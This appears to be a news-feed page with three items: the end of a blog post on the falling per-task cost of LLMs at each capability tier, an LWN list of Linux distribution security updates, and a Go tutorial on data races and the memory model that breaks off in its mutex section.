Each step is a released model that set a new low for its tier; hollow markers are open weights models and filled markers are proprietary. A tier's line begins when the first model with measured cost crosses that Intelligence Index threshold. GPT-5.6 Luna is placed at its launch price from July 9 and at its current price from the July 30 price cut; all other costs reflect current prices (see caveats).
Tier First measured crossing Cost collapse Halving time
Index ≥ 30 Aug 2025 (GPT-5 high) 29x ~73 days
Index ≥ 40 Feb 2026 (Claude Sonnet 4.6) 56x ~28 days
Index ≥ 50 Mar 2026 (GPT-5.4 xhigh) 35x ~29 days
Index ≥ 60 Jun 2026 (Claude Fable 5 max) 3.8x ~34 days

A capability level is first reached by a large frontier model at a premium price. After some time, cheaper models arrive at the same level, and the record steps down by an order of magnitude or more. The ≥ 40 tier opens with Claude Sonnet 4.6 in February at $1.22 per task, undercut within two days by Gemini 3.1 Pro Preview at $0.33; MiMo-V2.5-Pro, an open weights model, cut the record to $0.034 in April, and GPT-5.6 Luna on high effort holds it at $0.022 today. The ≥ 50 tier follows the same arc a month behind: GPT-5.4 crossed it in March at $1.10, GPT-5.5 and then GLM-5.2 and Grok 4.5 walked the record down through the spring, GPT-5.6 Luna’s xhigh setting took the record at $0.16 when it launched on July 9, and OpenAI’s 80% price cut on July 30 brought it to $0.032, a 35 fold drop in five months.

The first crossing is a maximum effort frontier model priced at launch premium, most often from Anthropic or OpenAI. Following this, small distilled models from the big labs (the GPT-5.6 Luna line holds three of the four current records), and open weights releases (MiMo, DeepSeek V4, GLM, Hy3) drive rates down dramatically. Across the tiers with enough history to measure, the records halve roughly every four to ten weeks.

The top tier is where the premium survives. Only six models score 60 or above, and the cheapest of them, Grok 4.6, still costs $0.84 per task. But that record has fallen 3.8x since June, and if the pattern from lower tiers holds, a distilled model at this level should collapse the price within a couple of quarters.

To me, the most impressive result is the low price of OpenAI’s “GPT-5.6 Luna” given its intelligence. Now, the intelligence of Anthropic’s “Claude 4.5 Sonnet (Reasoning)” that set off the coding harness revolution 10 months ago is available using “GPT-5.6 Luna (medium)” for 1/40th the cost! That figure depends on the July 30 price cut; at Luna’s launch price three weeks earlier, it would have been 1/8th.

Caveats

The most important limitation is that costs are the latest measured values indexed by release date, not historical measurements taken at release. Prices get cut over a model’s life, so early points reflect any cuts since launch, which biases the analysis toward understating the collapse and toward dating it too early. The one cut I have corrected for is the largest recent one: OpenAI cut GPT-5.6 Luna’s prices by 80% on July 30, 2026, three weeks after its July 9 release (Terra was cut by 20% on the same day and Sol was unchanged). Since a price cut does not change the number of tokens a task uses, I reconstructed Luna’s launch cost per task by scaling the measured value by the price ratio, and in the records chart and table Luna’s records are dated to the cut, not to the release. This lengthens the measured halving times for the three lower tiers by a few days each. Other models may have had cuts I did not find, and a retired model’s last measured price may not be the one it launched at. Coverage is the second issue. Retired models are included only when their pages still carry the measurement, which recovered 44 of 228 retired models with prices and scores; the rest, o3, GPT-5.3 Codex, and everything from the GPT-4 era among them, are invisible, so the oldest frontiers rest on fewer models than actually existed and the true opening price of the lower tiers was likely set by models this analysis cannot see.

The retired models’ Intelligence Index scores are on the current scale, but the Index itself is one aggregate of many evaluations. And cost per task on an evaluation suite is a reasoning heavy workload with long prompts; a chat workload with short prompts and short answers would scale differently across models, particularly between reasoning and non-reasoning variants.

Predictions

Extrapolating measured rates is risky, since each collapse is a competition event and not a law, but the arcs have been regular enough to be worth putting numbers on. At the ≥ 60 tier’s current halving time of about 34 days, Grok 4.6’s $0.84 record falls below ten cents around the start of December. Index 55, which Grok 4.5 holds at $0.36 today, should cost under a dime by mid October. The ceiling is harder to call: it climbed twenty eight points over the year but only one point since June, which reads as saturation of the current index, not a slowdown in the models, so I expect the next milestone there to be an index revision, not a big number. And if the pattern of the last four tiers holds, whatever the revised index calls the frontier will debut at a few dollars per task and be commoditized within a quarter.

The Two Directions of Progress

The two directions of progress serve different kinds of work. A higher ceiling changes what is possible at all: the tasks that no model could do last year and one model can do now. A lower floor changes what is affordable at scale: the tasks that one model could already do, but not ten thousand times. The literature scan that motivated this post is a floor problem. The model only needs to read a paper and answer a well defined question, which models well below the current frontier handle reliably, but it needs to do that for every candidate paper, and the difference between $1 and $0.02 per paper is the difference between a pilot study and a complete census. Legal discovery, systematic reviews, large scale data curation, content moderation, and customer support triage have the same shape, and all of them get cheaper by an order of magnitude roughly every few months without any change in the work itself. The practical consequence is that the set of problems worth attempting with a model is expanding from both ends at once, and the expansion at the cheap end is the one that is easy to miss.

Cheaper Intelligence Means More Spending on It

A natural reading of these charts is that spending on LLMs should be falling. The opposite is happening. In 1865 William Stanley Jevons observed that more efficient steam engines, which needed less coal per unit of work, had increased Britain’s total coal consumption instead of reducing it, because cheaper work found far more uses. The same dynamic applies when the cost of a unit of intelligence falls by 30x. The work that was already being done gets cheaper, but the much larger effect is the work that was not being done at all because it did not clear the bar. This phenomenon became known as the Jevons paradox. Our literature scan is a small example: at last year’s prices it would have been run once on a sample, if at all, and at this year’s prices we run it on the whole corpus, repeat it when the pipeline changes, and are planning to run each positive result three times to reduce noise. The cost per paper fell by more than an order of magnitude and our total spend on the project went up. Demand for intelligence at a given price appears to be highly elastic, and as long as that holds, the falling frontier translates into more tokens consumed, not fewer dollars spent.

The motion of the frontier is more predictable than any individual release. Every capability tier so far has followed the same arc: premium debut, rapid commoditization, a settled record held by a distilled or open weights model at a few percent of the debut price. If a capability exists at any price today, the sensible planning assumption is that it will exist at commodity price within months. For system design, that argues for architectures where the model is a swappable component and the routing between capability tiers is explicit, because the tier boundaries themselves have not settled and show no sign of settling soon.

The model routers appearing on the market are a sign that this is being operationalized. OpenRouter now offers a router that takes a minimum capability score and sends each request to the cheapest model on the Artificial Analysis frontier that clears it, so that a system benefits from the moving frontier automatically, with no developer tracking it. Hardcoding a model name into an application has become the fastest way to overpay.

What Changes at 100x

If the pace of the last year holds, the capability that cost a dollar per task at the start of 2026 will cost a cent by the end of it, and the index 60 models that cost a few dollars per task today will be under a dime within a couple of quarters. I want to be careful not to overreach from a year of data, but a few consequences follow directly from the numbers.

Reading everything becomes the default. At a cent per document, a model can read every paper in a field, every record in an archive, every email, or every message in a support queue as a matter of routine, and the question shifts from which documents to look at to which questions to ask of all of them. Projects like our reuse census stop being projects and become monitoring: the scan can run on every new publication as it appears. Multi-pass workflows become the norm, since running a task three times and taking a consensus costs less than running it once did a few months earlier, and the accuracy gains from that are large. And the capability tiers themselves stop being a meaningful way to describe a system, because a pipeline will route each step to whatever level of intelligence it needs at whatever that level costs that week. The scarce resource in that world is not intelligence but the judgment about what to point it at, the ground truth to check it against, and the systems to run it at scale. Those are the parts of the work that are not getting cheaper.

Model metadata pulled from the Artificial Analysis free API, and measured cost per task scraped from the model pages on artificialanalysis.ai, on August 19, 2026. Corrections welcome.

Ben Dichter

Ben Dichter, PhD is the Founder of CatalystNeuro. He received his Ph.D. in Bioengineering from the UC Berkeley – UCSF Joint Program in Bioengineering. He is now a data scientist consultant for neuroscience labs, focusing on enabling collaboration by building systems for sharing of data and analyses.

GitHub Twitter Website ORCID

Security updates for Friday

Linux Weekly News
lwn.net
2026-08-21 09:17:30
Security updates have been issued by AlmaLinux (ansible-core and pcp), Debian (chromium, libgit2, python-httplib2, and sabnzbdplus), Fedora (dokuwiki, domoticz, dotnet10.0, dotnet8.0, dotnet9.0, firefox, i2c-display, libgit2, lyx, ntpsec, openssh, perl-DBI, php-phpseclib3, python-alembic, python-asy...
Original Article
Dist. ID Release Package Date AlmaLinux ALSA-2026:57149 9 ansible-core 2026-08-20 AlmaLinux ALSA-2026:55740 9 pcp 2026-08-20 Debian DLA-4749-1 LTS chromium 2026-08-21 Debian DSA-6455-1 stable chromium 2026-08-20 Debian DSA-6453-1 stable libgit2 2026-08-20 Debian DLA-4747-1 LTS python-httplib2 2026-08-20 Debian DLA-4748-1 LTS python-httplib2 2026-08-20 Debian DSA-6454-1 stable sabnzbdplus 2026-08-20 Fedora FEDORA-2026-99a0f106c9 F43 dokuwiki 2026-08-21 Fedora FEDORA-2026-f899239e0c F44 dokuwiki 2026-08-21 Fedora FEDORA-2026-cda155613e F43 domoticz 2026-08-20 Fedora FEDORA-2026-91c099294a F43 dotnet10.0 2026-08-21 Fedora FEDORA-2026-8b4cb2340a F44 dotnet10.0 2026-08-21 Fedora FEDORA-2026-0db5bf0aae F43 dotnet8.0 2026-08-21 Fedora FEDORA-2026-1397d83d94 F44 dotnet8.0 2026-08-21 Fedora FEDORA-2026-9c8770dffb F43 dotnet9.0 2026-08-21 Fedora FEDORA-2026-7cfd54a4c1 F44 dotnet9.0 2026-08-21 Fedora FEDORA-2026-170e9d62c6 F43 firefox 2026-08-20 Fedora FEDORA-2026-fc11919789 F44 firefox 2026-08-20 Fedora FEDORA-2026-c898a0f547 F43 i2c-display 2026-08-21 Fedora FEDORA-2026-9b62042c7b F44 i2c-display 2026-08-21 Fedora FEDORA-2026-60e31281d5 F43 libgit2 2026-08-20 Fedora FEDORA-2026-fc9fdfd3fd F43 lyx 2026-08-21 Fedora FEDORA-2026-ef5c3f9941 F44 lyx 2026-08-20 Fedora FEDORA-2026-11d8a5a213 F43 ntpsec 2026-08-20 Fedora FEDORA-2026-80887c367d F44 ntpsec 2026-08-20 Fedora FEDORA-2026-752aa3ff05 F44 openssh 2026-08-21 Fedora FEDORA-2026-57dcf299cc F44 perl-DBI 2026-08-21 Fedora FEDORA-2026-67f1cac6df F43 php-phpseclib3 2026-08-21 Fedora FEDORA-2026-d2d58edf7d F44 php-phpseclib3 2026-08-21 Fedora FEDORA-2026-7d816931eb F43 python-alembic 2026-08-21 Fedora FEDORA-2026-6f7b906353 F44 python-alembic 2026-08-21 Fedora FEDORA-2026-7d816931eb F43 python-asyncmy 2026-08-21 Fedora FEDORA-2026-6f7b906353 F44 python-asyncmy 2026-08-21 Fedora FEDORA-2026-7d816931eb F43 python-sqlalchemy 2026-08-21 Fedora FEDORA-2026-6f7b906353 F44 python-sqlalchemy 2026-08-21 Fedora FEDORA-2026-b39628a3c3 F43 python3.13 2026-08-21 Fedora FEDORA-2026-d2906e4778 F44 python3.13 2026-08-21 Fedora FEDORA-2026-914a40b4fd F43 roundcubemail 2026-08-20 Fedora FEDORA-2026-2aa96a9ce5 F44 roundcubemail 2026-08-20 Fedora FEDORA-2026-de4e0fac25 F43 trafficserver 2026-08-21 Fedora FEDORA-2026-b2d993884d F44 trafficserver 2026-08-21 Fedora FEDORA-2026-adc1870e77 F43 wireshark 2026-08-21 Fedora FEDORA-2026-5034844482 F44 wireshark 2026-08-20 Fedora FEDORA-2026-61704c09ea F43 wordpress 2026-08-21 Fedora FEDORA-2026-dc0ff85b8b F44 wordpress 2026-08-21 Red Hat RHSA-2026:22315-01 EL8 compat-openssl10 2026-08-21 Red Hat RHSA-2026:47096-01 EL8.4 compat-openssl10 2026-08-21 Red Hat RHSA-2026:44480-01 EL8.6 compat-openssl10 2026-08-21 Red Hat RHSA-2026:36217-01 EL8.8 compat-openssl10 2026-08-21 Red Hat RHSA-2026:22313-01 EL9 compat-openssl11 2026-08-21 Red Hat RHSA-2026:39012-01 EL9.2 compat-openssl11 2026-08-21 Red Hat RHSA-2026:39009-01 EL9.4 compat-openssl11 2026-08-21 Red Hat RHSA-2026:35869-01 EL9.6 compat-openssl11 2026-08-21 Red Hat RHSA-2026:49927-01 EL8 fence-agents 2026-08-21 Red Hat RHSA-2026:51152-01 EL8.4 fence-agents 2026-08-21 Red Hat RHSA-2026:51157-01 EL8.6 fence-agents 2026-08-21 Red Hat RHSA-2026:51045-01 EL8.8 fence-agents 2026-08-21 Red Hat RHSA-2026:20613-01 EL10 gnutls 2026-08-21 Red Hat RHSA-2026:26409-01 EL10.0 gnutls 2026-08-21 Red Hat RHSA-2026:43575-01 EL7 gnutls 2026-08-21 Red Hat RHSA-2026:20611-01 EL8 gnutls 2026-08-21 Red Hat RHSA-2026:20612-01 EL9 gnutls 2026-08-21 Red Hat RHSA-2026:41921-01 EL9.2 gnutls 2026-08-21 Red Hat RHSA-2026:32962-01 EL9.4 gnutls 2026-08-21 Red Hat RHSA-2026:30004-01 EL9.6 gnutls 2026-08-21 Red Hat RHSA-2026:44270-01 EL10 kernel 2026-08-21 Red Hat RHSA-2026:52764-01 EL10.0 kernel 2026-08-21 Red Hat RHSA-2026:53989-01 EL8.6 kernel 2026-08-21 Red Hat RHSA-2026:56573-01 EL9.4 kernel 2026-08-21 Red Hat RHSA-2026:41236-01 EL7 kernel-rt 2026-08-21 Red Hat RHSA-2026:8492-01 EL10 libarchive 2026-08-21 Red Hat RHSA-2026:8865-01 EL10.0 libarchive 2026-08-21 Red Hat RHSA-2026:8517-01 EL7 libarchive 2026-08-21 Red Hat RHSA-2026:8534-01 EL8 libarchive 2026-08-21 Red Hat RHSA-2026:8521-01 EL8.2 libarchive 2026-08-21 Red Hat RHSA-2026:9592-01 EL8.4 libarchive 2026-08-21 Red Hat RHSA-2026:8908-01 EL8.6 libarchive 2026-08-21 Red Hat RHSA-2026:9026-01 EL8.8 libarchive 2026-08-21 Red Hat RHSA-2026:8510-01 EL9 libarchive 2026-08-21 Red Hat RHSA-2026:8867-01 EL9.0 libarchive 2026-08-21 Red Hat RHSA-2026:8864-01 EL9.2 libarchive 2026-08-21 Red Hat RHSA-2026:8873-01 EL9.4 libarchive 2026-08-21 Red Hat RHSA-2026:8866-01 EL9.6 libarchive 2026-08-21 Red Hat RHSA-2026:46398-01 EL10 libreswan 2026-08-21 Red Hat RHSA-2026:46396-01 EL8 libreswan 2026-08-21 Red Hat RHSA-2026:46397-01 EL9 libreswan 2026-08-21 Red Hat RHSA-2026:55762-01 EL8 multiple packages 2026-08-21 Red Hat RHSA-2026:33125-01 EL8.4 multiple packages 2026-08-21 Red Hat RHSA-2026:30849-01 EL8.6 multiple packages 2026-08-21 Red Hat RHSA-2026:30850-01 EL8.8 multiple packages 2026-08-21 Red Hat RHSA-2026:55761-01 EL8.8 multiple packages 2026-08-21 Red Hat RHSA-2026:55837-01 EL9.2 multiple packages 2026-08-21 Red Hat RHSA-2026:56224-01 EL9.4 multiple packages 2026-08-21 Red Hat RHSA-2026:56225-01 EL9.6 multiple packages 2026-08-21 Red Hat RHSA-2026:22314-01 EL10 openssl 2026-08-21 Red Hat RHSA-2026:38503-01 EL8 openssl 2026-08-21 Red Hat RHSA-2026:43513-01 EL8.4 openssl 2026-08-21 Red Hat RHSA-2026:38804-01 EL8.6 openssl 2026-08-21 Red Hat RHSA-2026:38805-01 EL8.8 openssl 2026-08-21 Red Hat RHSA-2026:22312-01 EL9 openssl 2026-08-21 Red Hat RHSA-2026:54481-01 EL10 python-idna 2026-08-21 Red Hat RHSA-2026:54290-01 EL8 python-idna 2026-08-21 Red Hat RHSA-2026:54484-01 EL9 python-idna 2026-08-21 Red Hat RHSA-2026:39127-01 EL8 python-pillow 2026-08-21 Red Hat RHSA-2026:48760-01 EL8.6 python-pillow 2026-08-21 Red Hat RHSA-2026:48759-01 EL8.8 python-pillow 2026-08-21 Red Hat RHSA-2026:39311-01 EL9 qemu-kvm 2026-08-21 Red Hat RHSA-2026:47126-01 EL8 resource-agents 2026-08-21 Red Hat RHSA-2026:47091-01 EL8.4 resource-agents 2026-08-21 Red Hat RHSA-2026:47092-01 EL8.6 resource-agents 2026-08-21 Red Hat RHSA-2026:47129-01 EL8.8 resource-agents 2026-08-21 Red Hat RHSA-2026:57590-01 EL10 rh-podman-desktop 2026-08-21 Red Hat RHSA-2026:37397-01 EL7 ruby 2026-08-21 Red Hat RHSA-2026:37282-01 EL8 unbound 2026-08-21 Red Hat RHSA-2026:55431-01 EL10.0 vim 2026-08-21 Red Hat RHSA-2026:38510-01 EL8 vim 2026-08-21 Red Hat RHSA-2026:38511-01 EL9 vim 2026-08-21 SUSE SUSE-SU-2026:3667-1 SLE15 oS15.4 buildah 2026-08-21 SUSE openSUSE-SU-2026:0293-1 osB15 chromium 2026-08-21 SUSE SUSE-SU-2026:3654-1 SLE15 container-suseconnect 2026-08-20 SUSE SUSE-SU-2026:3670-1 SLE15 SLE5.3 SLE5.4 SLE5.5 SLE-m5.3 SLE-m5.4 SLE-m5.5 containerd 2026-08-21 SUSE SUSE-SU-2026:3666-1 SLE15 oS15.4 cosign 2026-08-21 SUSE openSUSE-SU-2026:0292-1 osB15 ctop 2026-08-20 SUSE SUSE-SU-2026:3668-1 SLE15 SLE5.3 SLE5.4 SLE5.5 SLE-m5.3 SLE-m5.4 SLE-m5.5 docker 2026-08-21 SUSE SUSE-SU-2026:3658-1 SLE15 firefox 2026-08-21 SUSE openSUSE-SU-2026:21594-1 oS16.0 firefox 2026-08-20 SUSE openSUSE-SU-2026:21605-1 oS16.0 forgejo-cli 2026-08-20 SUSE openSUSE-SU-2026:21603-1 oS16.0 gitea-tea 2026-08-20 SUSE openSUSE-SU-2026:21592-1 oS16.0 go1.25 2026-08-20 SUSE openSUSE-SU-2026:21593-1 oS16.0 go1.26 2026-08-20 SUSE SUSE-SU-2026:3661-1 SLE15 SLE5.5 SLE-m5.5 helm 2026-08-21 SUSE SUSE-SU-2026:3660-1 SLE15 oS15.6 kubernetes 2026-08-21 SUSE SUSE-SU-2026:3659-1 SLE15 oS15.6 kubernetes-old 2026-08-21 SUSE openSUSE-SU-2026:21590-1 oS16.0 kubevirt1.8 2026-08-20 SUSE SUSE-SU-2026:3662-1 SLE15 SES7.1 oS15.3 podman 2026-08-21 SUSE SUSE-SU-2026:3671-1 SLE15 SLE5.5 SLE-m5.5 oS15.5 podman 2026-08-21 SUSE openSUSE-SU-2026:21602-1 oS16.0 python-pytest-html 2026-08-20 SUSE openSUSE-SU-2026:21606-1 oS16.0 python-unearth 2026-08-20 SUSE SUSE-SU-2026:3655-1 MP4.3 SLE15 oS15.4 python311 2026-08-20 SUSE openSUSE-SU-2026:21595-1 oS16.0 python313 2026-08-20 SUSE SUSE-SU-2026:3669-1 SLE15 rootlesskit 2026-08-21 SUSE SUSE-SU-2026:3657-1 SLE15 oS15.6 rsync 2026-08-21 Ubuntu USN-8666-1 18.04 20.04 linux, linux-aws, linux-aws-5.4, linux-azure, linux-bluefield, linux-fips, linux-gcp, linux-gcp-5.4, linux-hwe-5.4, linux-ibm, linux-ibm-5.4, linux-iot, linux-oracle, linux-raspi, linux-raspi-5.4, linux-xilinx-zynqmp 2026-08-20 Ubuntu USN-8659-1 24.04 26.04 linux, linux-aws, linux-aws-7.0, linux-ibm, linux-oem-7.0, linux-raspi, linux-realtime 2026-08-20 Ubuntu USN-8658-1 20.04 22.04 linux, linux-aws, linux-aws-fips, linux-azure-fips, linux-gkeop, linux-ibm-5.15, linux-intel-iot-realtime, linux-intel-iotg, linux-intel-iotg-5.15, linux-kvm, linux-nvidia, linux-nvidia-tegra, linux-nvidia-tegra-5.15, linux-oracle, linux-oracle-5.15, linux-realtime, linux-xilinx-zynqmp 2026-08-20 Ubuntu USN-8662-1 14.04 16.04 linux, linux-aws, linux-kvm, linux-lts-xenial 2026-08-20 Ubuntu USN-8630-4 22.04 linux-aws-6.8 2026-08-20 Ubuntu USN-8661-1 20.04 22.04 linux-azure-5.15, linux-gcp, linux-gcp-fips, linux-hwe-5.15, linux-lowlatency-hwe-5.15 2026-08-20 Ubuntu USN-8644-2 16.04 18.04 linux-gcp, linux-gcp-4.15, linux-gcp-fips 2026-08-20 Ubuntu USN-8660-1 26.04 linux-gcp, linux-gke 2026-08-20 Ubuntu USN-8643-2 22.04 24.04 linux-gke, linux-lowlatency, linux-lowlatency-hwe-6.8 2026-08-20 Ubuntu USN-8656-1 22.04 linux-hwe-6.8 2026-08-20 Ubuntu USN-8663-1 24.04 26.04 linux-nvidia, linux-nvidia-7.0 2026-08-20 Ubuntu USN-8664-1 26.04 linux-nvidia-bos 2026-08-20 Ubuntu USN-8665-1 24.04 linux-raspi, linux-raspi-realtime 2026-08-20 Ubuntu USN-8654-1 16.04 18.04 20.04 22.04 24.04 netty 2026-08-20 Ubuntu USN-8653-1 22.04 24.04 26.04 postgresql-14, postgresql-16, postgresql-18 2026-08-20 Ubuntu USN-8657-1 14.04 16.04 18.04 20.04 22.04 24.04 26.04 vim 2026-08-21 Ubuntu USN-8543-2 14.04 16.04 18.04 20.04 22.04 24.04 26.04 wget 2026-08-20

Data races and the memory model in Go

Lobsters
func25.dev
2026-08-21 09:11:08
Comments...
Original Article

We write a value in one goroutine and read it in another. Nothing crashes, and the value is there. It looks like our code works.

We actually got lucky. Go does not guarantee that one goroutine will see a write made by another unless the program explicitly coordinates their operations. This post explains what happens on a real machine, why it happens, and what we should use instead.

1. The program that works

Suppose we want to pass a value from one goroutine to another without using a channel. A simple approach is to store the value in one variable and use a boolean to report when the write is complete. The reader waits for that boolean before accessing the value:

go

func main() {
	var done bool
	var msg string

	go func() {
		msg = "hello"
		done = true
	}()

	for !done {
	}
	fmt.Println(msg)
}

You can run this example in the Go Playground . The Playground prints hello and exits, so this execution produces exactly the result we expected.

But when we run this snippet with go run -race , the race detector reports one race involving done and another involving msg :

==================
WARNING: DATA RACE
Write at 0x00c0000121cf by goroutine 7:
  main.main.func1()
      main.go:11 +0x68

Previous read at 0x00c0000121cf by main goroutine:
  main.main()
      main.go:14 +0x110
==================
==================
WARNING: DATA RACE
Read at 0x00c000014040 by main goroutine:
  main.main()
      main.go:16 +0x128

Previous write at 0x00c000014040 by goroutine 7:
  main.main.func1()
      main.go:10 +0x30
==================
hello
Found 2 data race(s)
exit status 66

So is this snippet safe and valid because we use a for loop to check the done flag? Let’s consult the Go memory model.

2. The Go memory model

The race detector does not care about the output. It checks whether 2 goroutines access the same memory concurrently without synchronization and at least 1 access is a write.

The Go memory model answers the next question: “Which write must each read use?” It tells us which behaviors Go guarantees across all runs. I know this is not obvious, so let’s diagnose the 2 reported races.

Race 1: main may not read true

Let’s put the snippet here so we don’t lose context:

go

// goroutine A
go func() {
	msg = "hello"
	done = true
}()

for !done {
}
fmt.Println(msg)

The first warning is for done :

WARNING: DATA RACE
Write at 0x00c0000121cf by goroutine 7:
  main.main.func1()
      main.go:11 +0x68

Previous read at 0x00c0000121cf by main goroutine:
  main.main()
      main.go:14 +0x110

done = true is a non-atomic write, and every evaluation of !done contains a non-atomic read of the same variable. The program does not require the write to happen before any of those reads.

Since 2 goroutines access the same variable and one access is a write, done has a read-write data race.

The Go memory model does not guarantee that a write in 1 goroutine becomes visible to another goroutine by itself. This snippet does not synchronize the write to done with the reads of done in main , so the loop may continue reading false . That may sound strange because the order looks clear in the Go source code.

In theory, the program may behave as if the generated code reused the value from its first read:

SOURCE CODE for ! done { } possible optimization POSSIBLE GENERATED FORM cached := done if ! cached { for {} }
The source loop and a possible optimized form that reads done once

Of course, the code on the right is only for explanation. The compiler does not generate that form for this example. The important point is that the Go source code and generated assembly do not need a one-to-one relationship.

There is no guarantee that a write made by the new goroutine will become visible to main , so the compiler may reuse a loaded value in a register or a temporary, or arrange instructions in another order, as long as the optimization stays within the Go memory model.

Another question is what happens if the writer goroutine updates done while the main goroutine is reading it. Can the main goroutine receive a partially written value?

The answer for this specific case is no.

  • On arm64, a bool uses one byte,
  • The writer stores that entire byte with one MOVB (move byte) instruction,
  • main loads the entire byte with one MOVBU (move byte unsigned) instruction.

Since each instruction accesses the complete one-byte bool , the access is indivisible: main cannot receive half of its value.

WRITER GOROUTINE GO SOURCE done = true COMPILES TO ARM64 MOVB R0, (R1) STORE DONE 1 BYTE false 0x00 true 0x01 LOAD MAIN GOROUTINE GO SOURCE for !done {} COMPILES TO ARM64 MOVBU (R1), R2 WHOLE-BYTE ACCESS, NO PARTIAL VALUE
The writer and main access the complete one-byte bool on arm64

But the same reasoning does not apply to a whole struct, array, or other value made from multiple parts.

Go may read or write a struct one field at a time, an array one element at a time, and a complex number one component at a time. A value larger than one machine word can combine parts from separate writes. Strings, slices, and interfaces commonly use multiword internal representations, so a race can create an inconsistent value and may corrupt memory.

For example, consider a 24-byte struct made from three uint64 fields:

go

type State struct {
	A uint64
	B uint64
	C uint64
}

var state State

go func() {
	state = State{A: 2, B: 2, C: 2}
}()

snapshot := state

The assignment is 1 statement in the source code, but Go may write the 3 fields separately and in any order.

One valid execution writes C first. The racing reader can then read the old values of A and B together with the new value of C :

ASSIGNMENT state = State{A: 2, B: 2, C: 2} field writes INITIAL STATE A = 0 B = 0 C = 0 write C DURING WRITE A = 0 B = 0 C = 2 racy read SNAPSHOT A = 0 B = 0 C = 2 NOT ONE COMPLETE STATE
A racing struct read combines old and new field values

The resulting snapshot is {A: 0, B: 0, C: 2} . On the 64-bit machine used for this example, each field contains a complete uint64 value, but the struct as a whole matches neither the initial {A: 0, B: 0, C: 0} nor the value {A: 2, B: 2, C: 2} assigned by the writer.

Note

You can reproduce the mixed read in the Go Playground . The Playground version intentionally adds a 64 KiB byte array between each pair of fields. This makes both state = one and s := state copy 131,096 bytes instead of 24 bytes.

The larger copies take longer, so they are more likely to run at the same time before either one finishes. The extra bytes only make the mixed result easier to reproduce. The data race already exists without them.

Race 2: done == true does not guarantee msg == "hello"

Assume that the loop reads true and exits, exactly as it does in the Playground. Race 2 asks a separate question: “does done == true also guarantee that fmt.Println reads "hello" from msg ?”

Let’s put the relevant snippet here so we can follow Race 2 without scrolling back:

go

var done bool
var msg string

go func() {
	msg = "hello"
	done = true
}()

for !done {
}
fmt.Println(msg)

The second warning points to msg :

WARNING: DATA RACE
Read at 0x00c000014040 by main goroutine:
  main.main()
      main.go:16 +0x128

Previous write at 0x00c000014040 by goroutine 7:
  main.main.func1()
      main.go:10 +0x30

Since two goroutines access the same variable and one access is a write, msg has a second data race.

The Go source code gives us one order inside each goroutine. The new goroutine writes msg before it writes done . main reads done before it leaves the loop, then reads msg for fmt.Println :

new goroutine main goroutine WRITE msg "hello" same goroutine WRITE done true read gets true READ done true same goroutine READ msg ?
Why reading done does not order the write and read of msg

If we read the code from top to bottom, it may seem obvious that msg must contain "hello" when main leaves the loop. The new goroutine writes msg before setting done to true , and main reads msg only after reading true from done .

But from Go’s point of view, the read of done answers only one question: which write supplied the value returned by this read? The value true came from done = true , but msg is a separate memory location with a separate read.

Under the Go memory model, nothing guarantees that when main leaves the loop, msg contains the value written by the other goroutine.

Go therefore allows this result:

read done    true
read msg     ""

The Playground prints "hello" in this example, so this run does not show us what can go wrong. Let’s use another snippet where the same missing cross-goroutine order produces a result that we can reproduce on real hardware.

Two goroutines start at the same time. Each one writes to its own variable, then reads the other one:

go

var x, y int
var r1, r2 int

go func() { // goroutine A
	x = 1
	r1 = y
}()

go func() { // goroutine B
	y = 1
	r2 = x
}()

Now let’s think about the possible results:

  • If goroutine A finishes before goroutine B starts, then r2 is 1.
  • If goroutine B finishes first, then r1 is 1.
  • If they interleave, at least one goroutine sees the other’s write, so either r1 or r2 is 1 , or both are.

But whatever order we imagine, it should be impossible for both r1 and r2 to be 0 , because that would require each read to happen before the other goroutine’s write.

Running that experiment 200,000 times on an Apple M-series machine produced:

both goroutines read 0: 2 out of 200000 rounds (0.0010%)

The program produced this “impossible” result twice out of 200,000 rounds, which is 0.0010%. And nothing is wrong with the hardware. You can run the same experiment in the Playground .

But this result needs 2 separate explanations.

First, Go guarantees the result required by the source inside one goroutine. See this snippet:

a must contain 1 . The compiler may combine the 2 statements, replace them with other instructions, or arrange those instructions differently. But any optimization must still preserve the dependency from b to a and produce the correct result.

But in our case, the 2 statements in goroutine A are independent:

  • r1 = y does not use x ,
  • x = 1 does not use y .

The same is true for goroutine B. The compiler does not have to preserve their textual order in the binary as long as the generated program still follows the Go memory model .

GO SOURCE x = 1 r1 = y store, then load COMPILER may reorder POSSIBLE ARM64 ASSEMBLY LDR y STR x load, then store
The compiler may emit the independent load before the store

This kind of compiler reordering could explain the result described in Race 2. But it did not happen in the experiment above. The compiler kept the 2 memory instructions in source order in the generated arm64 binary.

That leaves a second explanation: how CPU cores make writes visible to each other.

Even when the machine instructions keep the source order, 1 core does not have to make its write available to the other core before its next read finishes. No memory barrier enforces that order in this binary.

Core A can read the old value of y while core B reads the old value of x , so r1 and r2 can both be 0 .

CORE A STR x = 1 LDR y = 0 NO MEMORY BARRIER A store not visible to B load B store not visible to A load both loads can read 0 CORE B STR y = 1 LDR x = 0
The writes can reach the other core after both reads finish

This is also why the rate in our run is 0.0010% and not 50%. The exact rate depends on goroutine scheduling, core placement, processor memory behavior, and other runtime conditions, so a test may see the result only occasionally. This kind of flaky and annoying bug is often the hardest to reproduce.

3. How synchronization makes earlier writes visible

For this snippet to be correct, it needs 1 guarantee: the writer must write "hello" to msg before main reads msg . The smallest change that provides this guarantee is to replace the plain done bool flag with done atomic.Bool :

go

var msg string
var done atomic.Bool

go func() {
	msg = "hello"
	done.Store(true)
}()

for !done.Load() {}
fmt.Println(msg)

Why does atomic.Bool create this order?

atomic.Bool reads and writes its value through operations defined by sync/atomic . Go defines the following rule for atomic operations:

If the effect of an atomic operation A is observed by atomic operation B, then A "synchronizes before" B.

In our example:

  1. done.Store(true) is operation A .
  2. The done.Load() call that returns true is operation B .
  3. Operation B reads the value written by operation A , so A synchronizes before B .

In other words, every write sequenced before done.Store(true) in the writer goroutine is guaranteed to be visible to main after done.Load() reads that true . This includes msg = "hello" , so the later read of msg in fmt.Println must see "hello" .

If you read the Go runtime and compiler source, you will see names such as StoreRelease and LoadAcquire .

  • Release describes the store’s guarantee for writes completed before it.
  • Acquire describes the load’s guarantee for reads that run after it.
WRITER MAIN write msg source order done.Store(true) RELEASE SIDE atomic order done.Load() == true ACQUIRE SIDE source order read msg
An atomic store and load connect the write of msg to its later read

A mutex provides exclusion and visibility

You are probably familiar with sync.Mutex and its main job: allowing only one goroutine at a time to access protected state.

go

type Counter struct {
	mu sync.Mutex
	n  int
}

func (c *Counter) Add() {
	c.mu.Lock()
	defer c.mu.Unlock()
	c.n++
}

func (c *Counter) Value() int {
